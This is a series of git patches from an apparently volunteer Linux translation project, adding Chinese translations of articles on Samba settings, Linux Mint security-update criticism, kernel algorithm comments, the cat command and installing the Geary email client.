From 082c5e7400a1b77852360a50330c5c53857cf39c Mon Sep 17 00:00:00 2001 From: whatever1992 <799758730@qq.com> Date: Sun, 17 Nov 2013 22:03:15 +0800 Subject: [PATCH 001/148] translating by whatever1992 --- ...ly Ubuntu Tips – Change Samba Workgroup And Computer Name.md | 2 ++ 1 file changed, 2 insertions(+) diff --git a/sources/Daily Ubuntu Tips – Change Samba Workgroup And Computer Name.md b/sources/Daily Ubuntu Tips – Change Samba Workgroup And Computer Name.md index b821154a69..406b2d0ba5 100644 --- a/sources/Daily Ubuntu Tips – Change Samba Workgroup And Computer Name.md +++ b/sources/Daily Ubuntu Tips – Change Samba Workgroup And Computer Name.md @@ -1,3 +1,5 @@ +(translating by whatever1992) + Daily Ubuntu Tips – Change Samba Workgroup And Computer Name ================================================================================ Here’s another question new users to Ubuntu asked the most. The answer to the question is simple but when you’re new to anything, it takes time to fully understand it. From 200a5522e1f6aa8affd6f4d3dff17f21d9128cdb Mon Sep 17 00:00:00 2001 From: whatever1992 <799758730@qq.com> Date: Mon, 18 Nov 2013 15:16:11 +0800 Subject: [PATCH 002/148] translated --- ...ily Ubuntu Tips – Change Samba Workgroup And Computer Name.md | 1 - 1 file changed, 1 deletion(-) diff --git a/translated/Daily Ubuntu Tips – Change Samba Workgroup And Computer Name.md b/translated/Daily Ubuntu Tips – Change Samba Workgroup And Computer Name.md index 989e213688..1b39558a77 100644 --- a/translated/Daily Ubuntu Tips – Change Samba Workgroup And Computer Name.md +++ b/translated/Daily Ubuntu Tips – Change Samba Workgroup And Computer Name.md @@ -32,7 +32,6 @@ To install Samba, run the commands below. 尽情享受吧！ - -------------------------------------------------------------------------------- via: http://www.liberiangeek.net/2013/11/daily-ubuntu-tips-change-samba-workgroup-and-computer-name/ From 9e8b522c926a2ea3b95a24ba0530b91950967aba Mon Sep 17 00:00:00 2001 From: whatever1992 <799758730@qq.com> Date: Mon, 25 Nov 2013 21:11:03 +0800 Subject: [PATCH 003/148] translating by whatever1992 --- ...able’, Wouldn’t Use it For Online Banking.md | 51 ++++++++++++++++++- 1 file changed, 49 insertions(+), 2 deletions(-) diff --git a/sources/Canonical Dev Calls Linux Mint ‘Vulnerable’, Wouldn’t Use it For Online Banking.md b/sources/Canonical Dev Calls Linux Mint ‘Vulnerable’, Wouldn’t Use it For Online Banking.md index 72d4b695b9..27f581668b 100644 --- a/sources/Canonical Dev Calls Linux Mint ‘Vulnerable’, Wouldn’t Use it For Online Banking.md +++ b/sources/Canonical Dev Calls Linux Mint ‘Vulnerable’, Wouldn’t Use it For Online Banking.md @@ -1,41 +1,88 @@ +[translating by whatever1992] + +Canonical Dev称Linux Mint“脆弱” ，不要用在网上银行上 Canonical Dev Calls Linux Mint ‘Vulnerable’, Wouldn’t Use it For Online Banking ================================================================================ **Users of the popular Ubuntu-based operating system Linux Mint should not use it for online banking, a Canonical [engineer has advised][1].** +**流行的基于Ubuntu的Linux操作系统Linux Mint的用户不应将其用于网上银行，一个Canonical[工程师建议][1] 。** + +*用户欢迎的Ubuntu操作系统Linux Mint不应该使用网上银行，一个典型的[工程师建议] [ 1 ]。* * + Mint’s decision to prevent packages with known security issues from updating – from the kernel and browser to the boot-loader and Xorg display server – leaves its users with a “vulnerable system”, says Oliver Grawert. +Mint的以禁止已知的安全问题的更新 - 从内核和浏览器到启动加载器和显示器的Xorg服务器 - 的决定提供给用户一个“脆弱的系统” ，Oliver Grawert说。 +薄荷的决定，防止包与已知的安全性问题，从更新–从内核和浏览器的引导加载器，xorg显示服务器–离开它的用户提供一个“脆弱的”，奥利弗说格劳韦特。 + > “Instead of just integrating changes properly with the packages in the ubuntu archive they instead suppress doing (security) updates at all for them. i would say forcefully keeping a vulnerable kernel browser or xorg in place instead of allowing the provided security updates to be installer makes it a vulnerable system, (sic)”. > > “I personally wouldn’t do online banking with it.” +>而不是仅仅适当整合与变化在Ubuntu归档他们反而抑制做（安全）更新在所有的这些软件包> “ 。我会说有力地保持在一个地方弱势内核的浏览器或xorg的，而不是允许提供安全性更新将安装程序使其成为一个易受攻击的系统， （原文如此） “ 。 +> +> “我个人不会做网上银行吧。 ” + +> “而不是整合变化好包在Ubuntu档案而抑制做（安全）更新所有他们。我会说，有力地保持一个脆弱的内核的浏览器或xorg到位，而不是允许提供安全更新来安装是一个脆弱的系统，（SiC）”。 +> +> “我个人不会用它网上银行。” + + Grawert certainly isn’t alone in considering Mint a sub-par choice for the security conscious. Mozilla contributor and former Ubuntu member **Benjamin Kerensa*** feels the same: +Grawert肯定不单单是考虑Mint的安全意识一分面值的选择。 Mozilla的贡献者和前Ubuntu的成员 **Benjamin Kerensa** 有同样的感觉： +格劳韦特当然不是单独考虑薄荷低于平均标准的选择的安全意识。Mozilla贡献者和前Ubuntu成员*本杰明Kerensa ***有同样的感觉： + > “It is unclear why Linux Mint disables all of their security updates. I can say that it took them many months to get a fixed version of Firefox packaged while Ubuntu and Debian had already had security fixes in their package. > > This puts Linux Mint users at risk and is one of the key reasons I never suggest Linux Mint to anyone as an alternative to Ubuntu.” +> “目前还不清楚为什么Linux Mint禁止所有的安全更新。我可以说，他们需要花好几个月才能得到一个Firefox固定的版本，而Ubuntu和Debian已经同时在他们的包上打了安全补丁。 +> +> 这是使得Linux Mint的用户处于危险之中的其中的一个关键原因，我从来不建议Linux Mint作为一种替代Ubuntu的系统之一。 “ + + Oliver Grawert is no fly-by-night contributor. As one of Canonical’s Ubuntu Engineering bods he’s better placed than most to know what he’s talking about. + +Oliver Grawert是可靠的贡献者。作为Canonical公司下的Ubuntu工程师，他比大多数人更知道自己在说什么。 +奥利弗格劳韦特没有夜间飞行的贡献。作为一个典型的Ubuntu工程人他更好地了解他所说的。 + **‘But are Mint users in actual risk? Yes and no…’** + +**‘但Mint的用户有实际的风险么？可以说对也可以说不对…’** + But are Mint users in actual risk? +但Mint的用户有实际的风险么？ + Yes and no. The majority of security “holes” (for want of a better word) of the kind present in the packages that Mint’s developers steadfastly refuse to update are both documented and known, but rarely exploited by those of a nefarious breed. As such the “actual threat” posed to users remains, at least for now, largely a theoretical one. + +一半对一半错。大部分Mint的开发商坚决拒绝更新的现有包中的安全“漏洞”（想一个更好的词）都是有记录和已知的。而是由那些一个邪恶的品种很少利用包的那种大多数安全“漏洞” （对于想一个更好的词） 。因此造成用户“实际威胁”仍然存在，至少现在，很大程度上是一个理论。 + That’s to say that there are no known incidents of identify theft or worse resulting from use of Mint (or any other Ubuntu-based distribution with unpatched packages) through any of the exploits referenced by Grawert on the Ubuntu Dev Mailing List. +也就是说，没有已知的由于使用Mint系统（或任何其他基于Ubuntu发行版的未打补丁的包）导致利用Grawert引用的Ubuntu开发邮件列表上的漏洞身份盗窃或者更糟的事故。 + + But just because no-one has entered through the window left ajar thus far, isn’t to say someone won’t ever do it. +但是，仅仅因为迄今为止没有人曾经进入半掩的窗户，并不能说明其他人永远不会这么做。 + **After seeing Ubuntu given a long and sustained kicking about its own (largely theoretical) privacy issues, it will be interesting to see if, now the boot is placed firmly on the other foot, the vehement concern for users’ wellbeing will extend to other distributions. ** +**看到Ubuntu给出的一个长期和持续的谈论关于它自己的（主要是理论上）的隐私问题后，看看现在开机牢固地放在另一只脚的，用户健康的强烈关注将延伸到其他分类将很有趣** + *Notice: We reached out to Linux Mint for comment & clarification but received no reply.* +*请注意：我们向Linux Mint征求意见和澄清，但没有收到任何答复。* -------------------------------------------------------------------------------- via: http://www.omgubuntu.co.uk/2013/11/canonical-dev-dont-use-linux-mint-online-banking-unsecure -译者：[译者ID](https://github.com/译者ID) 校对：[校对者ID](https://github.com/校对者ID) +译者：[whatever1992](https://github.com/whatever1992) 校对：[校对者ID](https://github.com/校对者ID) 本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出 -[1]:https://lists.ubuntu.com/archives/ubuntu-devel-discuss/2013-November/014770.html \ No newline at end of file +[1]:https://lists.ubuntu.com/archives/ubuntu-devel-discuss/2013-November/014770.html From 8c8ec5b1e165ca398648cd760bce041b3f70f8df Mon Sep 17 00:00:00 2001 From: whatever1992 <799758730@qq.com> Date: Mon, 25 Nov 2013 23:09:37 +0800 Subject: [PATCH 004/148] translated by whatever1992 --- ...able’, Wouldn’t Use it For Online Banking.md | 88 ------------------- ...able’, Wouldn’t Use it For Online Banking.md | 41 +++++++++ 2 files changed, 41 insertions(+), 88 deletions(-) delete mode 100644 sources/Canonical Dev Calls Linux Mint ‘Vulnerable’, Wouldn’t Use it For Online Banking.md create mode 100644 translated/Canonical Dev Calls Linux Mint ‘Vulnerable’, Wouldn’t Use it For Online Banking.md diff --git a/sources/Canonical Dev Calls Linux Mint ‘Vulnerable’, Wouldn’t Use it For Online Banking.md b/sources/Canonical Dev Calls Linux Mint ‘Vulnerable’, Wouldn’t Use it For Online Banking.md deleted file mode 100644 index 27f581668b..0000000000 --- a/sources/Canonical Dev Calls Linux Mint ‘Vulnerable’, Wouldn’t Use it For Online Banking.md +++ /dev/null @@ -1,88 +0,0 @@ -[translating by whatever1992] - -Canonical Dev称Linux Mint“脆弱” ，不要用在网上银行上 -Canonical Dev Calls Linux Mint ‘Vulnerable’, Wouldn’t Use it For Online Banking -================================================================================ -**Users of the popular Ubuntu-based operating system Linux Mint should not use it for online banking, a Canonical [engineer has advised][1].** - -**流行的基于Ubuntu的Linux操作系统Linux Mint的用户不应将其用于网上银行，一个Canonical[工程师建议][1] 。** - -*用户欢迎的Ubuntu操作系统Linux Mint不应该使用网上银行，一个典型的[工程师建议] [ 1 ]。* * - -Mint’s decision to prevent packages with known security issues from updating – from the kernel and browser to the boot-loader and Xorg display server – leaves its users with a “vulnerable system”, says Oliver Grawert. - -Mint的以禁止已知的安全问题的更新 - 从内核和浏览器到启动加载器和显示器的Xorg服务器 - 的决定提供给用户一个“脆弱的系统” ，Oliver Grawert说。 -薄荷的决定，防止包与已知的安全性问题，从更新–从内核和浏览器的引导加载器，xorg显示服务器–离开它的用户提供一个“脆弱的”，奥利弗说格劳韦特。 - -> “Instead of just integrating changes properly with the packages in the ubuntu archive they instead suppress doing (security) updates at all for them. i would say forcefully keeping a vulnerable kernel browser or xorg in place instead of allowing the provided security updates to be installer makes it a vulnerable system, (sic)”. -> -> “I personally wouldn’t do online banking with it.” - ->而不是仅仅适当整合与变化在Ubuntu归档他们反而抑制做（安全）更新在所有的这些软件包> “ 。我会说有力地保持在一个地方弱势内核的浏览器或xorg的，而不是允许提供安全性更新将安装程序使其成为一个易受攻击的系统， （原文如此） “ 。 -> -> “我个人不会做网上银行吧。 ” - -> “而不是整合变化好包在Ubuntu档案而抑制做（安全）更新所有他们。我会说，有力地保持一个脆弱的内核的浏览器或xorg到位，而不是允许提供安全更新来安装是一个脆弱的系统，（SiC）”。 -> -> “我个人不会用它网上银行。” - - -Grawert certainly isn’t alone in considering Mint a sub-par choice for the security conscious. Mozilla contributor and former Ubuntu member **Benjamin Kerensa*** feels the same: - -Grawert肯定不单单是考虑Mint的安全意识一分面值的选择。 Mozilla的贡献者和前Ubuntu的成员 **Benjamin Kerensa** 有同样的感觉： -格劳韦特当然不是单独考虑薄荷低于平均标准的选择的安全意识。Mozilla贡献者和前Ubuntu成员*本杰明Kerensa ***有同样的感觉： - -> “It is unclear why Linux Mint disables all of their security updates. I can say that it took them many months to get a fixed version of Firefox packaged while Ubuntu and Debian had already had security fixes in their package. -> -> This puts Linux Mint users at risk and is one of the key reasons I never suggest Linux Mint to anyone as an alternative to Ubuntu.” - -> “目前还不清楚为什么Linux Mint禁止所有的安全更新。我可以说，他们需要花好几个月才能得到一个Firefox固定的版本，而Ubuntu和Debian已经同时在他们的包上打了安全补丁。 -> -> 这是使得Linux Mint的用户处于危险之中的其中的一个关键原因，我从来不建议Linux Mint作为一种替代Ubuntu的系统之一。 “ - - -Oliver Grawert is no fly-by-night contributor. As one of Canonical’s Ubuntu Engineering bods he’s better placed than most to know what he’s talking about. - - -Oliver Grawert是可靠的贡献者。作为Canonical公司下的Ubuntu工程师，他比大多数人更知道自己在说什么。 -奥利弗格劳韦特没有夜间飞行的贡献。作为一个典型的Ubuntu工程人他更好地了解他所说的。 - -**‘But are Mint users in actual risk? Yes and no…’** - - -**‘但Mint的用户有实际的风险么？可以说对也可以说不对…’** - -But are Mint users in actual risk? - -但Mint的用户有实际的风险么？ - -Yes and no. The majority of security “holes” (for want of a better word) of the kind present in the packages that Mint’s developers steadfastly refuse to update are both documented and known, but rarely exploited by those of a nefarious breed. As such the “actual threat” posed to users remains, at least for now, largely a theoretical one. - - -一半对一半错。大部分Mint的开发商坚决拒绝更新的现有包中的安全“漏洞”（想一个更好的词）都是有记录和已知的。而是由那些一个邪恶的品种很少利用包的那种大多数安全“漏洞” （对于想一个更好的词） 。因此造成用户“实际威胁”仍然存在，至少现在，很大程度上是一个理论。 - -That’s to say that there are no known incidents of identify theft or worse resulting from use of Mint (or any other Ubuntu-based distribution with unpatched packages) through any of the exploits referenced by Grawert on the Ubuntu Dev Mailing List. - -也就是说，没有已知的由于使用Mint系统（或任何其他基于Ubuntu发行版的未打补丁的包）导致利用Grawert引用的Ubuntu开发邮件列表上的漏洞身份盗窃或者更糟的事故。 - - -But just because no-one has entered through the window left ajar thus far, isn’t to say someone won’t ever do it. - -但是，仅仅因为迄今为止没有人曾经进入半掩的窗户，并不能说明其他人永远不会这么做。 - -**After seeing Ubuntu given a long and sustained kicking about its own (largely theoretical) privacy issues, it will be interesting to see if, now the boot is placed firmly on the other foot, the vehement concern for users’ wellbeing will extend to other distributions. ** - -**看到Ubuntu给出的一个长期和持续的谈论关于它自己的（主要是理论上）的隐私问题后，看看现在开机牢固地放在另一只脚的，用户健康的强烈关注将延伸到其他分类将很有趣** - -*Notice: We reached out to Linux Mint for comment & clarification but received no reply.* -*请注意：我们向Linux Mint征求意见和澄清，但没有收到任何答复。* - --------------------------------------------------------------------------------- - -via: http://www.omgubuntu.co.uk/2013/11/canonical-dev-dont-use-linux-mint-online-banking-unsecure - -译者：[whatever1992](https://github.com/whatever1992) 校对：[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出 - -[1]:https://lists.ubuntu.com/archives/ubuntu-devel-discuss/2013-November/014770.html diff --git a/translated/Canonical Dev Calls Linux Mint ‘Vulnerable’, Wouldn’t Use it For Online Banking.md b/translated/Canonical Dev Calls Linux Mint ‘Vulnerable’, Wouldn’t Use it For Online Banking.md new file mode 100644 index 0000000000..aa8a5d3cce --- /dev/null +++ b/translated/Canonical Dev Calls Linux Mint ‘Vulnerable’, Wouldn’t Use it For Online Banking.md @@ -0,0 +1,41 @@ +Canonical Dev称Linux Mint“脆弱”，不要将其用于办理在线银行业务 +================================================================================ +**一位Canonical公司[工程师建议][1]：基于Ubuntu的流行操作系统Linux Mint用户不应该将其用于在线办理银行业务 。** + +Mint禁止更新那些存在已知安全问题的安装包 - 从内核和浏览器到启动加载器和Xorg显示服务 - 的决定提供给用户一个“脆弱的系统” ，Oliver Grawert说。 + +> “不去适当整合Ubuntu中归档包的变化，反而拒绝这些软件包的（安全）更新。不允许安装提供的安全更新，强迫保留一个基于脆弱内核的浏览器或xorg，将使之成为一个易受攻击的系统，（原文如此）”。 +> +> “就我个人而言，我不会用它在线办理银行业务。 ” + +当然不只有Grawert认为Mint在安全意识上的低下。Mozilla贡献者兼前Ubuntu成员 **Benjamin Kerensa** 也有同样的看法： + +> “目前还不清楚为什么Linux Mint禁止所有的安全更新。我可以说，Mint需要花好几个月才能得到一个Firefox的修正版，而Ubuntu和Debian已经同时在他们的包上打了安全补丁。 +> +> 这是使得Linux Mint用户处于危险中的其中一个关键原因，我从来不建议任何人将Linux Mint作为一种替代Ubuntu的系统。” + +Oliver Grawert是一位可靠的撰稿人。作为一位Canonical公司下的Ubuntu工程师，他比大多数人更了解自己在说什么。 + +**‘那么Mint的用户存在实际风险么？可以说对也可以说不对…’** + +那么Mint的用户存在实际风险么？ + +半对半错。Mint开发商坚决拒绝更新的现有软件包中大部分的安全“漏洞”（一个更好的词）都是有记录和已知的，虽然这些漏洞很少被利用。因此对用户构成的“实际风险”仍然存在，至少现在，在理论上是很有可能的。 + +也就是说，没有发生已知的由于使用Mint发行版（或任何其他基于Ubuntu的未打补丁的发行版）并被通过利用Grawert引用的Ubuntu开发邮件列表上的漏洞造成身份盗窃乃至更糟的事故的情况。 + +但是，仅仅因为迄今为止没有人曾经钻进这扇半掩的窗户，并不能说明其他人永远不会这么做。 + +**看到Ubuntu持续被提及有关自身的（主要是理论上）隐私问题后，现在靴子被牢牢地套在另一只脚上，我们将可喜的看到对用户安全的强烈关注正在延伸至其他发行版上** + +*请注意：我们已经向Linux Mint征求意见及澄清，但还没收到任何答复。* + +-------------------------------------------------------------------------------- + +via: http://www.omgubuntu.co.uk/2013/11/canonical-dev-dont-use-linux-mint-online-banking-unsecure + +译者：[whatever1992](https://github.com/whatever1992) 校对：[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:https://lists.ubuntu.com/archives/ubuntu-devel-discuss/2013-November/014770.html From 20889105bbc5ece87b5c450b01037677e5ff34ac Mon Sep 17 00:00:00 2001 From: geekpi Date: Tue, 26 Nov 2013 03:10:20 +0000 Subject: [PATCH 005/148] finish translating the comments --- sources/Core algorithms deployed.md | 48 ++++++++++++++--------------- 1 file changed, 23 insertions(+), 25 deletions(-) diff --git a/sources/Core algorithms deployed.md b/sources/Core algorithms deployed.md index 62daa41bf3..ee50fa1f2c 100644 --- a/sources/Core algorithms deployed.md +++ b/sources/Core algorithms deployed.md @@ -12,11 +12,11 @@ 2.[B+ 树][5]的注释会告诉你无法在教科书上找到的东西。 -> A relatively simple B+Tree implementation. I have written it as a learning exercise to understand how B+Trees work. Turned out to be useful as well. +> 一个相对简单的B+树的实现。我把它作为一个学习练习来帮助理解B+树是如何工作的。这同样也被证明是有用的。 > > ... > -> A tricks was used that is not commonly found in textbooks. The lowest values are to the right, not to the left. All used slots within a node are on the left, all unused slots contain NUL values. Most operations simply loop once over all slots and terminate on the first NUL. +> 一个技巧在教科书中并不常见。最小的值在右侧而不是在左侧。所有在一个节点里用到的槽都在左侧,所有没有用到的槽包含了空值(NUL)。大多数操作只简单地遍历所有的槽一次并在第一个空值时(NUL)终止。 3.[优先排序列表][6] 用于 [互斥量][7]、[驱动][8]等等。 @@ -26,25 +26,25 @@ 6.[根树][12]用于[内存管理][13]，NFS相关查询和网络相关功能。 -> A common use of the radix tree is to store pointers to struct pages; +> 根树一个通用的用处是存储指针到结构页中。 7.[优先级堆][14]，是一个字面上的教科书实现，用于[cgroup][15]。 -> Simple insertion-only static-sized priority heap containing pointers, based on CLR, chapter 7 +> 第七章中,简单的基于CLR的只插入,含有指针的静态大小优先级堆 8.[哈希函数][16]，参考了Knuth和一篇论文。 -> Knuth recommends primes in approximately golden ratio to the maximum integer representable by a machine word for multiplicative hashing. Chuck Lever verified the effectiveness of this technique: +> Knuth建议约黄金比例的素数通过对乘法散列机器字的最大整数表示。Chuck Lever验证了该技术的有效性： > > [http://www.citi.umich.edu/techreports/reports/citi-tr-00-1.pdf][17] > -> These primes are chosen to be bit-sparse, that is operations on them can use shifts and additions instead of multiplications for machines where multiplications are slow. +> 这些素数的选择是位稀疏的，他们可以通过移位和加法操作，而不必使用乘法器，乘法器是很慢的。 9.一部分代码，比如[这个驱动][18],实现了他们自己的哈希函数。 -> hash function using a Rotating Hash algorithm +> 哈希函数使用了一种旋转哈希算法 > -> Knuth, D. The Art of Computer Programming, Volume 3: Sorting and Searching, Chapter 6.4. Addison Wesley, 1973 +> Knuth, D. 计算机程序设计艺术, 卷 3: 排序与搜索, 第6.7章. Addison Wesley, 1973 10.[哈希表][19]用于实现[inode][20],[文件系统完整性检测][21]等等。 @@ -58,7 +58,7 @@ 15.[深度优先搜索][29]被广泛地用于[目录配置中][30]。 -> Performs a modified depth-first walk of the namespace tree, starting (and ending) at the node specified by start_handle. The callback function is called whenever a node that matches the type parameter is found. If the callback function returns a non-zero value, the search is terminated immediately and this value is returned to the caller. +> 执行一个修改过的遍历深度优先的命名空间树，以指定的start_handle节点开始以及结束。回调函数会在任何一个参数匹配的节点被发现时被调用。如果回调函数返回了一个非0值，搜索将会激励结束并且将返回值给调用者。 16.[广度有限搜索][31]用于检测运行时锁定的正确性。 @@ -68,26 +68,25 @@ 19.[Knuth-Morris-Pratt 字符串匹配][36], -> Implements a linear-time string-matching algorithm due to Knuth, Morris, and Pratt [1]. Their algorithm avoids the explicit computation of the transition function DELTA altogether. Its matching time is O(n), for n being length(text), using just an auxiliary function PI[1..m], for m being length(pattern), precomputed from the pattern in time O(m). The array PI allows the transition function DELTA to be computed efficiently "on the fly" as needed. Roughly speaking, for any state "q" = 0,1,...,m and any character "a" in SIGMA, the value PI["q"] contains the information that is independent of "a" and is needed to compute DELTA("q", "a") 2. Since the array PI has only m entries, whereas DELTA has O(m|SIGMA|) entries, we save a factor of |SIGMA| in the preprocessing time by computing PI rather than DELTA. +> 根据Knuth、Morris和Pratt [1]实现了一个线性时间的字符串匹配算法。他们的算法避免了转换函数的显式地计算DELTA。对于长度为n的文本，其匹配时间是O(n),对于长度为m的模式(pattern)，仅使用一个辅助函数PI[1 . .m],预先计算模式的时间为O(m)。数组PI允许转换函数DELTA被实时有效地计算。粗略地说,对于任何状态"q"= 0,1,…、m和在SIGMA中的任何字符"a",PI["q"]的值包含的信息是独立的"a"并需要计算DELTA("q","a") 2.既然PI只有m个记录,而DELTA有O(m |SIGMA|)个记录,在预处理时间计算PI而不是DELTA的时候，我们可以节省一个因数|SIGMA| > -> [1] Cormen, Leiserson, Rivest, Stein Introdcution to Algorithms, 2nd Edition, MIT Press +> [1] Cormen, Leiserson, Rivest, Stein，算法介绍，第二版，MIT出版社 > -> [2] See finite automation theory +> [2] 见有限自动机原理 20.[Boyer-Moore 模式匹配][37]是在找替代品时的参考和建议。 -> Implements Boyer-Moore string matching algorithm: +> 实现了Boyer-Moore字符串匹配算法: > -> [1] A Fast String Searching Algorithm, R.S. Boyer and Moore. Communications of the Association for Computing Machinery, 20(10), 1977, pp. 762-772. [http://www.cs.utexas.edu/users/moore/publications/fstrpos.pdf][38] +> [1] 一个快速的字符串搜索算法，R.S. Boyer and Moore.计算机通信协会，20(10), 1977, pp. 762-772. [http://www.cs.utexas.edu/users/moore/publications/fstrpos.pdf][38] > -> [2] Handbook of Exact String Matching Algorithms, Thierry Lecroq, 2004 [http://www-igm.univ-mlv.fr/~lecroq/string/string.pdf][39] +> [2] 准确的字符串匹配算法手册，Thierry Lecroq, 2004 [http://www-igm.univ-mlv.fr/~lecroq/string/string.pdf][39] > -> Note: Since Boyer-Moore (BM) performs searches for matchings from right to left, it's still possible that a matching could be spread over multiple blocks, in that case this algorithm won't find any coincidence. +> 注:由于Boyer-Moore(BM)从右到左搜索匹配,仍然有可能匹配分布在多个块,在这种情况下该算法不会找到任何巧合。 > -> If you're willing to ensure that such thing won't ever happen, use the Knuth-Pratt-Morris (KMP) implementation instead. In conclusion, choose the proper string search algorithm depending on your setting. +> 如果你愿意确保这样的事情永远不会发生,那使用Knuth-Pratt-Morris(KMP)实现。总之,根据您的设置适当地选择字符串搜索算法。 > -> Say you're using the textsearch infrastructure for filtering, NIDS or -> any similar security focused purpose, then go KMP. Otherwise, if you really care about performance, say you're classifying packets to apply Quality of Service (QoS) policies, and you don't mind about possible matchings spread over multiple fragments, then go BM. +> 如果你正在用文本搜索器进行过滤,NIDS或任何类似的注重安全的目的,那么使用KMP。否则,如果你真的关心性能,并且你对数据包进行分类以使用服务质量(QoS)政策,且你不介意匹配可能分布分散,那么用BM。 ### Chromium 浏览器中的数据结构和算法 ### @@ -107,13 +106,12 @@ 2.[红黑树][45] -> Conclusion of Julian Walker -> -> Red black trees are interesting beasts. They're believed to be simpler than AVL trees (their direct competitor), and at first glance this seems to be the case because insertion is a breeze. However, when one begins to play with the deletion algorithm, red black trees become very tricky. However, the counterweight to this added complexity is that both insertion and deletion can be implemented using a single pass, top-down algorithm. Such is not the case with AVL trees, where only the insertion algorithm can be written top-down. Deletion from an AVL tree requires a bottom-up algorithm. -> +> Julian Walker的总结 +> +> 红黑树是有趣的野兽。他们被认为比AVL树(它们的直接竞争对手)简单,乍一看这似乎是由于插入是一项轻松的乐事。然而,当你开始玩删除算法,红黑树变得非常棘手。然而, 平衡物增加了复杂性,插入和删除可以使用单通道,实现自上而下的算法。这与AVL树情况不一样,只能写自顶向下插入算法。删除从AVL树需要自下而上的算法。 > ... > -> Red black trees are popular, as most data structures with a whimsical name. For example, in Java and C++, the library map structures are typically implemented with a red black tree. Red black trees are also comparable in speed to AVL trees. While the balance is not quite as good, the work it takes to maintain balance is usually better in a red black tree. There are a few misconceptions floating around, but for the most part the hype about red black trees is accurate. +> 红黑树是很流行的,因为大多数数据结构都有一个古怪的名字。比如,在Java和c++库映射结构通常用红黑树实现。红黑树的速度也与AVL树相当。而AVL树平衡不是很好,需要保持平衡的工作红黑树通常更好。有一些误解被流传,但在大多数情况下对红黑树的宣传是准确的。 3.[AVL 树][46] @@ -194,7 +192,7 @@ 4.Reed-Solomon纠错在[Linux内核][76]、CD驱动器、条形码读取器、结合从Voyager中的卷积图像传输中实现。 -### 冲突驱动语句学习算法 (CDCL)### +### 冲突驱动语句学习算法 (CDCL) ### 自2000以来，SAT求解器在工业标准的运行时间(通常是硬件工业，虽然其他地方也被使用)以近乎指数的方式每年下跌。这发展中很重要的一部分是冲突驱动语句学习算法，它结合了Davis Logemann和Loveland在约束规划和人工智能研究中关于语句学习的原始论文中的布尔约束传播算法。特定地，工业造型，SAT被认为是一个简单的问题([见这个讨论][77])。对我而言，这个一个最近最好的成功故事因为它结合了这几年算法的前进推广、聪明的工程理念、实验性的评估、齐心协力地解决一个问题。[Malik and Zhang的CACM文章][78]值得阅读。这个算法在许多大学中教授(我参加了4个地方都是如此)，但是通常在一个逻辑或者形式方法课上。 From d777e88ef6884756b69ae3736c386e59031b4ff9 Mon Sep 17 00:00:00 2001 From: hongchuntang Date: Tue, 26 Nov 2013 15:56:56 +0800 Subject: [PATCH 006/148] hongchuntang translating --- ...mand Examples To Manage (Display,Sort,Create etc) Files.md | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/sources/13 Linux Cat Command Examples To Manage (Display,Sort,Create etc) Files.md b/sources/13 Linux Cat Command Examples To Manage (Display,Sort,Create etc) Files.md index 8fdb69b1e2..0b946b8b6c 100644 --- a/sources/13 Linux Cat Command Examples To Manage (Display,Sort,Create etc) Files.md +++ b/sources/13 Linux Cat Command Examples To Manage (Display,Sort,Create etc) Files.md @@ -1,3 +1,5 @@ +hongchuntang wc + 13 Linux Cat Command Examples To Manage (Display,Sort,Create etc) Files ================================================================================ ![](http://linoxide.com/wp-content/uploads/2013/11/linux-cat-command.png) @@ -207,4 +209,4 @@ via: http://linoxide.com/linux-command/13-cat-command-examples/ 译者：[译者ID](https://github.com/译者ID) 校对：[校对者ID](https://github.com/校对者ID) -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出 \ No newline at end of file +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出 From dc04a5f116bef8828fb886c5a8e2b0bb3befdefc Mon Sep 17 00:00:00 2001 From: NearTan Date: Tue, 26 Nov 2013 19:02:26 +0800 Subject: [PATCH 007/148] translated --- ...ary, A Lightweight Email Reader In Ubuntu.md | 46 ------------------ ...ary, A Lightweight Email Reader In Ubuntu.md | 47 +++++++++++++++++++ 2 files changed, 47 insertions(+), 46 deletions(-) delete mode 100644 sources/Daily Ubuntu Tips – Get Geary, A Lightweight Email Reader In Ubuntu.md create mode 100644 translated/Daily Ubuntu Tips – Get Geary, A Lightweight Email Reader In Ubuntu.md diff --git a/sources/Daily Ubuntu Tips – Get Geary, A Lightweight Email Reader In Ubuntu.md b/sources/Daily Ubuntu Tips – Get Geary, A Lightweight Email Reader In Ubuntu.md deleted file mode 100644 index 3326324418..0000000000 --- a/sources/Daily Ubuntu Tips – Get Geary, A Lightweight Email Reader In Ubuntu.md +++ /dev/null @@ -1,46 +0,0 @@ - NearTan占坑 -Daily Ubuntu Tips – Get Geary, A Lightweight Email Reader In Ubuntu -================================================================================ -As you may already know, Ubuntu comes with its own email client called Thunderbird that allows you to setup email accounts to send and receive emails. It also support IMAP protocol which services like Gmail, Yahoo Mail and Microsoft Outlook support. - -Thunderbird is a great email client and does everything an email client supposed to do, but if you’re looking for an alternative that is lightweight and built around GNOME, then you may want to try Geary. - -Geary is a free email program that lets you quickly and effortlessly read emails with a simple interface based around conversations. The entire discuss is read from a single pane without you having to click from one message to another. - -Geary also support IMAP protocol which will let you send and receive emails using your online webmail accounts from Google, Yahoo and Microsoft. - -For users with Ubuntu 13.10, Geary is already available from Ubuntu Software Center. All they have to do is run the commands below to install Geary. - - sudo apt-get install geary - -For previous versions of Ubuntu, press **Ctrl – Alt – T** on your keyboard to open the terminal. When opens, run the commands below to add its PPA repository. - - sudo add-apt-repository ppa:yorba/ppa - -Next, run the commands below to update your system and install Geary. - - sudo apt-get update && sudo apt-get install geary - -When you launch Geary the first time, it wants you to setup email accounts from Gmail, Yahoo or Microsoft. - -![](http://www.liberiangeek.net/wp-content/uploads/2013/11/gearyubuntu.png) - -The setup is pretty easy, just enter your account info and Geary will attempt to automatically configure your account. - -To uninstall Geary, first remove its PPA repository from your system by running the commands below. - - sudo add-apt-repository -r ppa:yorba/ppa - -Then run the 